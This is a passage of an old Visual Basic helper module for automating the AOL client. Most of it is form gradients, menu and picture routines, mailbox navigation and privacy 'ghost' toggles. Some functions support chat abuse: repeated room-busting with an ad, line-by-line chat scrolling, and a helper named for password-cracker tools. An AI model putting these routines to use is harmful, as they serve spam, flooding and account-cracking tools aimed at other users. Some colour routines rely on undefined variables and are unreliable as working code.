  1318. frm.ScaleMode = 3
  1319.     frm.DrawStyle = 6
  1320.     frm.DrawWidth = 1
  1321.     frm.AutoRedraw = True
  1322.     
  1323. For X = 1 To frm.Width
  1324.  
  1325. frm.Line (X, 1)-(X, frm.Height), QBColor(Rnd * 15)
  1326.  
  1327. Next X
  1328. frm.Refresh
  1329. End Function
  1330.  
  1331. Sub FormShade_Blue(frm As Form)
  1332. Dim I As Integer
  1333.     frm.ScaleMode = 3
  1334.     frm.DrawStyle = 6
  1335.     frm.DrawWidth = 1
  1336.     frm.AutoRedraw = True
  1337.     NumberOfRects = 64
  1338.      
  1339.  
  1340.     For I = 1 To 64
  1341.         X = 255 - (I * 4 - 1)
  1342.          
  1343.         GC = RGB(FF, aa, X)
  1344.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1345.          
  1346.     Next I
  1347.  
  1348.         frm.Refresh
  1349. End Sub
  1350. Sub FormShade_Green(frm As Form)
  1351. Dim I As Integer
  1352.     frm.ScaleMode = 3
  1353.     frm.DrawStyle = 6
  1354.     frm.DrawWidth = 1
  1355.     frm.AutoRedraw = True
  1356.     NumberOfRects = 64
  1357.      
  1358.  
  1359.     For I = 1 To 64
  1360.         X = 255 - (I * 4 - 1)
  1361.          
  1362.         GC = RGB(FF, X, aa)
  1363.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1364.          
  1365.     Next I
  1366.  
  1367.         frm.Refresh
  1368. End Sub
  1369. Function Form_LightShow(frm As Form)
  1370. 'put this in a timer
  1371. frm.Line (Int(Rnd * frm.Width), Int(Rnd * frm.Height))-(Int(Rnd * frm.Width), Int(Rnd * frm.Height)), QBColor(Rnd * 15)
  1372. End Function
  1373. Public Function FindRoom() As Long
  1374.     Dim aol As Long, mdi As Long, child As Long
  1375.     Dim Rich As Long, AOLList As Long
  1376.     Dim AOLIcon As Long, AOLStatic As Long
  1377.     aol& = FindWindow("AOL Frame25", vbNullString)
  1378.     mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
  1379.     child& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
  1380.     Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString)
  1381.     AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString)
  1382.     AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  1383.     AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  1384.     If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then
  1385.         FindRoom& = child&
  1386.         Exit Function
  1387.     Else
  1388.         Do
  1389.             child& = FindWindowEx(mdi&, child&, "AOL Child", vbNullString)
  1390.             Rich& = FindWindowEx(child&, 0&, "RICHCNTL", vbNullString)
  1391.             AOLList& = FindWindowEx(child&, 0&, "_AOL_Listbox", vbNullString)
  1392.             AOLIcon& = FindWindowEx(child&, 0&, "_AOL_Icon", vbNullString)
  1393.             AOLStatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
  1394.             If Rich& <> 0& And AOLList& <> 0& And AOLIcon& <> 0& And AOLStatic& <> 0& Then
  1395.                 FindRoom& = child&
  1396.                 Exit Function
  1397.             End If
  1398.         Loop Until child& = 0&
  1399.     End If
  1400.     FindRoom& = child&
  1401. End Function
  1402.  
  1403. Sub FormMove(frm As Form)
  1404. 'moves form without clicking the border
  1405.         ReleaseCapture
  1406.         SendMessage frm.hwnd, WM_SYSCOMMAND, SC_MOVE, 0
  1407. frm.Refresh
  1408. End Sub
  1409.  
  1410. Function File_GetAttributes(Path As String)
  1411. Dim FA
  1412. FA = GetAttr(Path)
  1413. If FA = 0 Then Let FA = "Normal": GoTo GotIt
  1414. If FA = 1 Then Let FA = "ReadOnly": GoTo GotIt
  1415. If FA = 2 Then Let FA = "Hidden": GoTo GotIt
  1416. If FA = 4 Then Let FA = "System": GoTo GotIt
  1417. If FA = 16 Then Let FA = "Directory": GoTo GotIt
  1418. If FA = 32 Then Let FA = "Archive": GoTo GotIt
  1419.  
  1420. GotIt:
  1421. File_GetAttributes = FA
  1422. End Function
  1423.  
  1424.  
  1425. Sub FormShade_BlueGreen(frm As Form)
  1426. Dim I As Integer
  1427.     frm.ScaleMode = 3
  1428.     frm.DrawStyle = 6
  1429.     frm.DrawWidth = 1
  1430.     frm.AutoRedraw = True
  1431.     NumberOfRects = 64
  1432.      
  1433.  
  1434.     For I = 1 To 64
  1435.         X = 255 - (I * 4 - 1)
  1436.          
  1437.         GC = RGB(FF, X + 5, X)
  1438.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1439.          
  1440.     Next I
  1441.  
  1442.         frm.Refresh
  1443. End Sub
  1444.  
  1445.  
  1446. Sub FormShade_BW(frm As Form)
  1447. Dim I As Integer
  1448.     frm.ScaleMode = 3
  1449.     frm.DrawStyle = 6
  1450.     frm.DrawWidth = 1
  1451.     frm.AutoRedraw = True
  1452.     NumberOfRects = 64
  1453.      
  1454.  
  1455.     For I = 1 To 64
  1456.         X = 255 - (I * 4 - 1)
  1457.          
  1458.         GC = RGB(X, X, X)
  1459.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1460.          
  1461.     Next I
  1462.  
  1463.         frm.Refresh
  1464. End Sub
  1465.  
  1466.  
  1467. Sub FormShade_Grey(frm As Form)
  1468. Dim I As Integer
  1469.     frm.ScaleMode = 3
  1470.     frm.DrawStyle = 6
  1471.     frm.DrawWidth = 1
  1472.     frm.AutoRedraw = True
  1473.     NumberOfRects = 64
  1474.      
  1475.  
  1476.     For I = 1 To 64
  1477.         X = 255 - (I * 4 - 1)
  1478.          
  1479.         GC = RGB(X + 25, X + 25, X + 25)
  1480.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1481.          
  1482.     Next I
  1483.  
  1484.         frm.Refresh
  1485. End Sub
  1486.  
  1487. Sub FormShade_Purple(frm As Form)
  1488. Dim I As Integer
  1489.     frm.ScaleMode = 3
  1490.     frm.DrawStyle = 6
  1491.     frm.DrawWidth = 1
  1492.     frm.AutoRedraw = True
  1493.     NumberOfRects = 64
  1494.      
  1495.  
  1496.     For I = 1 To 64
  1497.         X = 255 - (I * 4 - 1)
  1498.          
  1499.         GC = RGB(X, FF, X)
  1500.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1501.          
  1502.     Next I
  1503.  
  1504.         frm.Refresh
  1505. End Sub
  1506.  
  1507. Sub FormShade_Red(frm As Form)
  1508. Dim I As Integer
  1509.     frm.ScaleMode = 3
  1510.     frm.DrawStyle = 6
  1511.     frm.DrawWidth = 1
  1512.     frm.AutoRedraw = True
  1513.     NumberOfRects = 64
  1514.      
  1515.  
  1516.     For I = 1 To 64
  1517.         X = 255 - (I * 4 - 1)
  1518.          
  1519.         GC = RGB(X, FF, aa)
  1520.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1521.          
  1522.     Next I
  1523.  
  1524.         frm.Refresh
  1525. End Sub
  1526.  
  1527. Sub FormShade_Yellow(frm As Form)
  1528. Dim I As Integer
  1529.     frm.ScaleMode = 3
  1530.     frm.DrawStyle = 6
  1531.     frm.DrawWidth = 1
  1532.     frm.AutoRedraw = True
  1533.     NumberOfRects = 64
  1534.      
  1535.  
  1536.     For I = 1 To 64
  1537.         X = 255 - (I * 4 - 1)
  1538.          
  1539.         GC = RGB(X, X, FF)
  1540.         frm.Line (0, frm.ScaleHeight * (I - 1) / 64)-(frm.ScaleWidth, frm.ScaleHeight * I / 64), GC, BF
  1541.          
  1542.     Next I
  1543.  
  1544.         frm.Refresh
  1545. End Sub
  1546.  
  1547. Function GetCursorPosition()
  1548. Dim Pos As POINTAPI
  1549. GetIt = GetCursorPos(Pos)
  1550. GetCursorPosition = (Pos.X & " " & Pos.Y)
  1551.  
  1552. End Function
  1553.  
  1554. Function Ghost_Off()
  1555. Do: DoEvents
  1556. aol% = FindWindow("AOL Frame25", vbNullString)
  1557. mdi% = FindChildByClass(aol%, "MDIClient")
  1558. TIT% = findchildbytitle(mdi%, "Buddy List Window")
  1559.     If TIT% = 0 Then
  1560.         Call RunMenuByChar(9, "V")
  1561.     End If
  1562. If TIT% <> 0 Then Exit Do
  1563. Loop
  1564.  
  1565. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  1566.     Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1567.                   Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1568.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1569.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1570.             
  1571.     clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  1572.     clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  1573. Do: DoEvents
  1574. tit2% = findchildbytitle(mdi%, "Buddy Lists")
  1575. iconb% = FindChildByClass(tit2%, "_AOL_Icon")
  1576. If tit2% <> 0 And iconb% <> 0 Then Exit Do
  1577. Loop
  1578.  
  1579.     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1580.             iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1581.                 iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1582.                     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1583.                         
  1584.     clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  1585.     clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  1586. Do: DoEvents
  1587. tit3% = findchildbytitle(mdi%, "Privacy Preferences")
  1588. Chk% = FindChildByClass(tit3%, "_AOL_Checkbox")
  1589. If tit3% <> 0 And Chk% <> 0 Then Exit Do
  1590. Loop
  1591.       
  1592.     
  1593.     Do: DoEvents
  1594.     clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1595.     G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1596.     If G% <> 0 Then Exit Do
  1597.     Loop
  1598.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1599.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1600.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1601.    Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1602.      
  1603. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1604.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1605.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1606.    
  1607.    
  1608. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1609. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1610. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1611. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1612. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1613. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1614. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1615.  
  1616. saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1617. saveit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1618. Do: DoEvents
  1619. numwin% = FindWindow("#32770", vbNullString)
  1620. If numwin% <> 0 Then Exit Do
  1621. Loop
  1622. DoEvents
  1623. Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&)
  1624. Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  1625. End Function
  1626.  
  1627. Function Ghost_On()
  1628. 'NIce ghosting code
  1629. ' for you peopel that dont like ims
  1630.  
  1631. Do: DoEvents
  1632. aol% = FindWindow("AOL Frame25", vbNullString)
  1633. mdi% = FindChildByClass(aol%, "MDIClient")
  1634. TIT% = findchildbytitle(mdi%, "Buddy List Window")
  1635.     If TIT% = 0 Then 'makes sure Buddy List Window
  1636.         Call RunMenuByChar(9, "V") 'is up
  1637.     End If
  1638. If TIT% <> 0 Then Exit Do
  1639. Loop
  1640.  
  1641. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  1642.     Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1643.                   Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1644.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1645.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  1646.             
  1647.     clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  1648.     clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  1649. Do: DoEvents
  1650. tit2% = findchildbytitle(mdi%, "Buddy Lists")
  1651. iconb% = FindChildByClass(tit2%, "_AOL_Icon")
  1652. If tit2% <> 0 And iconb% <> 0 Then Exit Do
  1653. Loop
  1654.  
  1655.     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1656.             iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1657.                 iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1658.                     iconb% = GetWindow(iconb%, GW_HWNDNEXT)
  1659.                         
  1660.     clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  1661.     clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  1662. Do: DoEvents
  1663. tit3% = findchildbytitle(mdi%, "Privacy Preferences")
  1664. Chk% = FindChildByClass(tit3%, "_AOL_Checkbox")
  1665. If tit3% <> 0 And Chk% <> 0 Then Exit Do
  1666. Loop
  1667.       Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1668.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1669.     Do: DoEvents
  1670.     clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1671.     G% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1672.     If G% <> 0 Then Exit Do
  1673.     Loop
  1674.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1675.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1676.    
  1677.      Do: DoEvents
  1678.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1679.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1680.                           GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1681.                         If GetIt% <> 0 Then Exit Do
  1682.                         Loop
  1683.  
  1684. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1685.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1686.     Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1687.    
  1688.     Do: DoEvents
  1689.                    clickit = SendMessage(Chk%, BM_SETCHECK, True, 0&)
  1690.  GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  1691.                         If GetIt% <> 0 Then Exit Do
  1692.                         Loop
  1693.  
  1694. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1695. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1696. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1697. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1698. Chk% = GetWindow(Chk%, GW_HWNDNEXT) 'listbox
  1699. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1700. Chk% = GetWindow(Chk%, GW_HWNDNEXT)
  1701.  
  1702. saveit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  1703. saveit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  1704. Do: DoEvents
  1705. numwin% = FindWindow("#32770", vbNullString)
  1706. If numwin% <> 0 Then Exit Do
  1707. Loop
  1708. DoEvents
  1709. Killit = SendMessage(numwin%, WM_CLOSE, 0, 0&)
  1710. Killit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  1711. End Function
  1712. Public Function HiByte(ByVal wParam As Integer)
  1713.  
  1714.     HiByte = wParam \ &H100 And &HFF&
  1715.  
  1716. End Function
  1717.  
  1718. Function Im_IsVisible() As Boolean
  1719. On Error Resume Next
  1720. aol% = FindWindow("AOL Frame25", vbNullString)
  1721. mdi% = FindChildByClass(aol%, "MDIClient")
  1722. TIT% = findchildbytitle(mdi%, ">Instant Message From:")
  1723. tit2% = findchildbytitle(mdi%, " Instant Message From:")
  1724. tit3% = findchildbytitle(mdi%, " Instant Message To:")
  1725. If TIT% <> 0 Then
  1726.     Ftit% = TIT%
  1727.         ElseIf tit2% <> 0 Then
  1728.     Ftit% = tit2%
  1729.             ElseIf tit3% <> 0 Then
  1730.     Ftit% = tit3%
  1731.         End If
  1732. If Ftit% <> 0 Then
  1733.     Im_IsVisible = True
  1734. Else
  1735.     Im_IsVisible = False
  1736. End If
  1737.  
  1738. End Function
  1739.  
  1740. Function List_HelpFile(lis As ListBox, txt As TextBox)
  1741. 'compares whats in a textbox to whats in
  1742. 'a list then will select the nearest match
  1743. 'just like the search in VB's help file
  1744. 'PUT THIS IN THE TEXTBOX'S CHANGE EVENT
  1745. On Error Resume Next
  1746.  
  1747. Dim I As Integer
  1748. Dim l As String
  1749. If txt.Text = "" Then lis.Selected(0) = True
  1750. If txt.Text <> "" Then
  1751. For I = 0 To lis.ListCount
  1752. l$ = LCase(lis.List(I))
  1753. If InStr(l$, LCase(txt.Text)) <> 0 Then
  1754. lis.Selected(I) = True
  1755. Exit For
  1756. End If
  1757. Next I
  1758. End If
  1759. End Function
  1760.  
  1761. Function List_IsNameListed(lis As ListBox, name As String) As Boolean
  1762. Dim I As Integer
  1763. There = False
  1764. For I = 0 To lis.ListCount
  1765. l$ = lis.List(I)
  1766. If LCase(name) = LCase(l$) Then
  1767. There = True
  1768. End If
  1769. Next I
  1770. List_IsNameListed = There
  1771. End Function
  1772.  
  1773. Function Mail_CountOld()
  1774. Call Mail_OpenNew
  1775. aol% = FindWindow("AOL Frame25", vbNullString)
  1776. mdi% = FindChildByClass(aol%, "MDIClient")
  1777. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  1778. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1779. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1780. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  1781. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  1782. c = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  1783.  
  1784.  
  1785. Mail_CountOld = c
  1786.  
  1787. End Function
  1788. Function Mail_OpenOld()
  1789. Call Mail_OpenNew2
  1790. Wait (2)
  1791. Do: DoEvents
  1792. aol% = FindWindow("AOL Frame25", vbNullString)
  1793. mdi% = FindChildByClass(aol%, "MDIClient")
  1794. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  1795. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1796. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1797. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1798. Loop
  1799. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&)
  1800. c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&)
  1801.  
  1802. End Function
  1803. Function Mail_OpenOld2()
  1804. Call Mail_OpenNew2
  1805. Wait (2)
  1806. Do: DoEvents
  1807. aol% = FindWindow("AOL Frame25", vbNullString)
  1808. mdi% = FindChildByClass(aol%, "MDIClient")
  1809. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  1810. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1811. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1812. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1813. Loop
  1814. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_RIGHT, 0&)
  1815. c = SendMessageByString(Tab1%, WM_KEYUP, VK_RIGHT, 0&)
  1816. Wait (1)
  1817. End Function
  1818.  
  1819. Function Mail_OpenSent()
  1820. Call Mail_OpenNew2
  1821. Wait (2)
  1822. Do: DoEvents
  1823. aol% = FindWindow("AOL Frame25", vbNullString)
  1824. mdi% = FindChildByClass(aol%, "MDIClient")
  1825. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  1826. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1827. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1828. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1829. Loop
  1830. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&)
  1831. c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&)
  1832.  
  1833.  
  1834. End Function
  1835. Function Mail_OpenSent2()
  1836. Call Mail_OpenNew2
  1837. Wait (2)
  1838. Do: DoEvents
  1839. aol% = FindWindow("AOL Frame25", vbNullString)
  1840. mdi% = FindChildByClass(aol%, "MDIClient")
  1841. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  1842. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  1843. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  1844. If TIT% <> 0 And Tab1% <> 0 Then Exit Do
  1845. Loop
  1846. c = SendMessageByString(Tab1%, WM_KEYDOWN, VK_LEFT, 0&)
  1847. c = SendMessageByString(Tab1%, WM_KEYUP, VK_LEFT, 0&)
  1848.  
  1849.  
  1850. End Function
  1851. Function Menu_SubMenuSetPic(frm As Form, Img As Image, MenuNum As Integer, SubInd As Integer, Ind As Integer)
  1852. 'Sets a pic in the sub menu of a menu item
  1853. 'the SubInd is the number of the menu that holds a submenu
  1854. 'and the Ind is the Submenu # that you want the pic in
  1855. MMenuHwnd = GetMenu(frm.hwnd)
  1856. SMenuHwnd = GetSubMenu(MMenuHwnd, MenuNum)
  1857.     SubMenuHwnd = GetSubMenu(SMenuHwnd, SubInd)
  1858.     lRet = SetMenuItemBitmaps(SubMenuHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture)
  1859. End Function
  1860.  
  1861. Function MenuSetPic(frm As Form, Img As Image, MenuNum As Integer, Ind As Integer)
  1862. 'Adds a picture to your menus
  1863. 'Picture in ImageBox must be a Bitmap(.Bmp)
  1864. 'Ind = the number of the menu first item is 0
  1865. 'second is 1 and so on .Picture must be small
  1866. MMenuHwnd = GetMenu(frm.hwnd)
  1867.     SubMHwnd = GetSubMenu(MMenuHwnd, MenuNum)
  1868.     SetPic = SetMenuItemBitmaps(SubMHwnd, Ind, MF_BYPOSITION, Img.Picture, Img.Picture)
  1869. End Function
  1870.  
  1871. Sub Object_Slide(frm As Form, Obj As Object)
  1872. 'put in a timer with low interval
  1873. 'makes object (picturebox,commandbuton etc)
  1874. 'slide back an forth on form
  1875. Obj.Move Val(Obj.Left) - 55, Obj.Top
  1876. If Obj.Left <= 0 Then
  1877. Do Until (Obj.Left + Obj.Width) >= frm.Width
  1878. Obj.Move Val(Obj.Left) + 55, Obj.Top
  1879. Wait (0.01)
  1880. Loop
  1881. End If
  1882. End Sub
  1883. Sub Object_SlideFast(frm As Form, Obj As Object)
  1884. 'put in a timer with low interval
  1885. 'makes object (picturebox,commandbuton etc)
  1886. 'slide back an forth on form
  1887. Obj.Move Val(Obj.Left) - 100, Obj.Top
  1888. If Obj.Left <= 0 Then
  1889. Do Until (Obj.Left + Obj.Width) >= frm.Width
  1890. Obj.Move Val(Obj.Left) + 100, Obj.Top
  1891. Wait (0.01)
  1892. Loop
  1893. End If
  1894. End Sub
  1895. Function GetText(child)
  1896. GetTrim = SendMessageByNum(child, 14, 0&, 0&)
  1897. TrimSpace$ = Space$(GetTrim)
  1898. GetString = SendMessageByString(child, 13, GetTrim + 1, TrimSpace$)
  1899. GetText = TrimSpace$
  1900. End Function
  1901. Function GetchatText()
  1902. Room% = FindChatRoom
  1903. AORich% = FindChildByClass(Room%, "RICHCNTL")
  1904. chattext = GetText(AORich%)
  1905. GetchatText = chattext
  1906. End Function
  1907. Function PassWordCrackButtons()
  1908. 'Some people still might have 3 buttons at sign on
  1909. 'use this to determne how many buttons they have
  1910. 'ex:  x = PassWordCrackButtons
  1911. 'if x = 3 then
  1912. 'they got 3 and same for 4
  1913. Dim aol%, mdi%, tit1%, tit2%, TIT%, butn%
  1914.  
  1915. aol% = FindWindow("AOL Frame25", vbNullString)
  1916. mdi% = FindChildByClass(aol%, "MDIClient")
  1917. tit1% = findchildbytitle(mdi%, "Sign On")
  1918. tit2% = findchildbytitle(mdi%, "Goodbye from America Online!")
  1919.     If tit1% <> 0 Then
  1920.         TIT% = tit1%
  1921.     ElseIf tit2% <> 0 Then
  1922.         TIT% = tit2%
  1923.     End If
  1924. butn% = FindChildByClass(TIT%, "_AOL_Icon")
  1925. butn% = GetWindow(butn%, GW_HWNDNEXT)
  1926.      butn% = GetWindow(butn%, GW_HWNDNEXT)
  1927.           butn% = GetWindow(butn%, GW_HWNDNEXT)
  1928.             
  1929.              If butn% <> 0 Then
  1930.              PassWordCrackButtons = 4
  1931.              Else
  1932.              PassWordCrackButtons = 3
  1933.              End If
  1934.              
  1935. End Function
  1936.  
  1937. Sub PictureTile(frm As Form, Pic As PictureBox)
  1938. Dim I As Integer
  1939. Dim T As Integer
  1940. frm.AutoRedraw = True
  1941. Pic.BorderStyle = 0
  1942. For T = 0 To frm.Height Step Pic.ScaleHeight
  1943.  
  1944.             For I = 0 To frm.Width Step Pic.ScaleWidth
  1945.                 frm.PaintPicture Pic.Picture, I, T
  1946.             Next I
  1947.  
  1948.             Next T
  1949. End Sub
  1950. Sub PictureTile2(frm As Form, Pic As PictureBox, LPic As String)
  1951. Dim I As Integer
  1952. Dim T As Integer
  1953. Pic.Picture = LoadPicture(LPic)
  1954. frm.AutoRedraw = True
  1955. Pic.BorderStyle = 0
  1956. For T = 0 To frm.Height Step Pic.ScaleHeight
  1957.  
  1958.             For I = 0 To frm.Width Step Pic.ScaleWidth
  1959.                 frm.PaintPicture Pic.Picture, I, T
  1960.             Next I
  1961.  
  1962.             Next T
  1963. End Sub
  1964. Sub PictureStretch(frm As Form, Pic As PictureBox)
  1965. 'will stretch a picture in a picture box and paint
  1966. 'on the form background
  1967.     frm.DrawStyle = 6
  1968.     frm.DrawWidth = 1
  1969.     frm.AutoRedraw = True
  1970.     
  1971. frm.PaintPicture Pic, 0, 0, frm.Width, frm.Height
  1972.  
  1973. Pic.Visible = False
  1974. frm.Refresh
  1975. End Sub
  1976. Sub Print_PrintText(txt As String)
  1977. Printer.Print txt
  1978. Wait (0.4)
  1979. Printer.EndDoc
  1980.  
  1981. End Sub
  1982.  
  1983. Function RoomBustWithAd(Ascii As String, ProgName As String, Room As String)
  1984. 'ex. Call
  1985. Dim Chil%, Rich%
  1986. Dim HTime As Integer
  1987. HTime = 0
  1988. Chil% = FindChat
  1989. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  1990.     If Rich% <> O Then
  1991.         closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  1992.     End If
  1993. Do: DoEvents
  1994. Call PrivRoom(Room)
  1995. HTime = Val(HTime) + 1
  1996. Wait (0.4)
  1997. If InRoom = True Or HTime = 20 Then Exit Do
  1998. Loop
  1999. If HTime = 20 Then
  2000. MsgBox ("Sorry, Only allowed 20 times due to AOL update."), 16, ("Roombust Timeout")
  2001. Exit Function
  2002. End If
  2003. Wait (0.2)
  2004. Call ErrorRsenD(Ascii & ProgName)
  2005. Wait (0.5)
  2006. Call ErrorRsenD(Ascii & " Busted into [" & Room & "]")
  2007. Wait (0.5)
  2008. Call ErrorRsenD(Ascii & " Busted in " & HTime & " tries")
  2009.  
  2010. End Function
  2011.  
  2012. Function Scroll_MultiTextBox(txt As TextBox)
  2013. txt.Text = " " & txt.Text & Chr(13) 'make sure it picks up last line
  2014. Dim I As Integer
  2015. For I = 1 To Len(txt.Text)
  2016. l$ = Mid(txt.Text, I, 1)
  2017. If l$ = Chr(13) Then
  2018. Call ErrorRsenD(Mid(TLine$, 2, Len(TLine$))): TLine$ = "": l$ = ""
  2019. Wait (0.5)
  2020. End If
  2021. TLine$ = TLine$ & l$
  2022. Next I
  2023. txt.Text = Mid(txt.Text, 2, Len(txt.Text) - 2) 'return text to original
  2024.  
  2025. End Function
  2026. Function RGBtoHEX(RGB)
  2027.     a = Hex(RGB)
  2028.     B = Len(a)
  2029.     If B = 5 Then a = "0" & a
  2030.     If B = 4 Then a = "00" & a
  2031.     If B = 3 Then a = "000" & a
  2032.     If B = 2 Then a = "0000" & a
  2033.     If B = 1 Then a = "00000" & a
  2034.     RGBtoHEX = a
  2035. End Function
  2036.  
  2037. Function Server_Find(lis As ListBox, Wat As String)
  2038. 'in order to make this universal i gotta
  2039. 'make it search your list not your mail
  2040. 'i cant tell if youll list new then old
  2041. 'or old then new mail , if i do it this way
  2042. 'it'll work right with the send index sub
  2043. Dim I As Integer
  2044. For I = 0 To lis.ListCount
  2045. l$ = LCase(lis.List(I))
  2046. If InStr(l$, LCase(Wat)) <> 0 Then
  2047. found$ = found$ & lis.List(I) & Chr(13)
  2048. End If
  2049. Next I
  2050. Server_Find = found$
  2051. End Function
  2052. Function BlackBlue(Text1)
  2053.     a = Len(Text1)
  2054.     For B = 1 To a
  2055.         c = Left(Text1, B)
  2056.         D = Right(c, 1)
  2057.         E = 255 / a
  2058.         F = E * B
  2059.         G = RGB(F, 0, 0)
  2060.         h = RGBtoHEX(G)
  2061.         Msg = Msg & "<Font Color=#" & h & ">" & D
